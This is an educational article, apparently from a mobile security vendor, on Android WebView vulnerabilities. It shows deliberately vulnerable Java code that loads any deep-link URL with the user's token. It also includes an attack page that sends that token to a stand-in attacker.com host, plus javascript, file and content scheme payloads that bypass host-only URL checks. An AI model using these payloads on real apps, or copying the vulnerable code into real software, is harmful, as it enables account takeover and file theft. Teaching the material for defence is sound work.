WebView is a web browser that can be built into an app, and represents the most widely used component of the Android ecosystem; it is also subject to the largest number of potential errors. If it is possible to load arbitrary URLs or to execute JavaScript code controlled by the attacker, we most often have to deal with the leaking of authentication tokens, the theft of arbitrary files, and access to arbitrary activities – which can even lead to remote code execution.
A Typical Example of the Vulnerability
The commonest version is the case where there are no checks or limitations on loading arbitrary URLs inside WebView. Let's suppose we have a DeeplinkActivity that processes a URL such as myapp://deeplink.
File AndroidManifest.xml
<activity android:name=".DeeplinkActivity"> <intent-filter> <action android:name="android.intent.action.VIEW" /> <category android:name="android.intent.category.DEFAULT" /> <data android:scheme="myapp" android:host="deeplink" /> </intent-filter> </activity>
Inside, it has the ability to process WebView deep links:
public class DeeplinkActivity extends Activity {
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
handleDeeplink(getIntent());
}
private void handleDeeplink(Intent intent) {
Uri deeplink = intent.getData();
if ("/webview".equals(deeplink.getPath())) {
String url = deeplink.getQueryParameter("url");
handleWebViewDeeplink(url);
}
}
private void handleWebViewDeeplink(String url) {
WebView webView = ...;
setupWebView(webView);
webView.loadUrl(url, getAuthHeaders());
}
private Map<String, String> getAuthHeaders() {
Map<String, String> headers = new HashMap<>();
headers.put("Authorization", getUserToken());
return headers;
}
}
In this case the attacker can carry out a remote attack to obtain the user's authentication token by creating a page with the following code:
<!DOCTYPE html> <html> <body style="text-align: center;"> <h1><a href="myapp://deeplink/webview?url=https://attacker.com/">Attack</a></h1> </body> </html>
When the user taps Attack, the vulnerable app automatically opens https://attacker.com in the built-in WebView, adding the user's token to the header of the HTTP request. The attacker can therefore steal it and gain access to the victim's account .
Insufficient URL validation
Developers sometimes try to check which URLs are loaded in WebView but do so incorrectly. OVAA (Oversecured Vulnerable Android App) contains an example of this vulnerability. The scan report for it looks like this: vulnerability
In this section, we shall look at typical attacks on URL validation.
Only checking host
This is one of the most typical errors. Only the value of host is checked, forgetting about scheme:
private boolean isValidUrl(String url) { Uri uri = Uri.parse(url); return "legitimate.com".equals(uri.getHost()); }
The attacker can use, for instance, the javascript, content or file schemes to bypass the checks:
- javascript://legitimate.com/%0aalert(1)
- file://legitimate.com/sdcard/exploit.html
- content://legitimate.com/
In the case of the javascript scheme, the attacker can execute arbitrary JavaScript code in WebView. In the case of the content scheme, they can claim a content provider with the specified authority and return arbitrary files by using the ContentProvider.openFile(... ) method. The file scheme allows them to open a file in the public directory.
Logic errors in the verification process
We also encounter an error where developers use logically incorrect methods to verify URLs:
private boolean isValidUrl(String url) { Uri uri = Uri.parse(url); return "https".equals(uri.getScheme()) && uri.getHost().endsWith("legitimate.com"); }
We have also seen the String.contains(...) method used. In this case there is an obvious way to bypass the verification.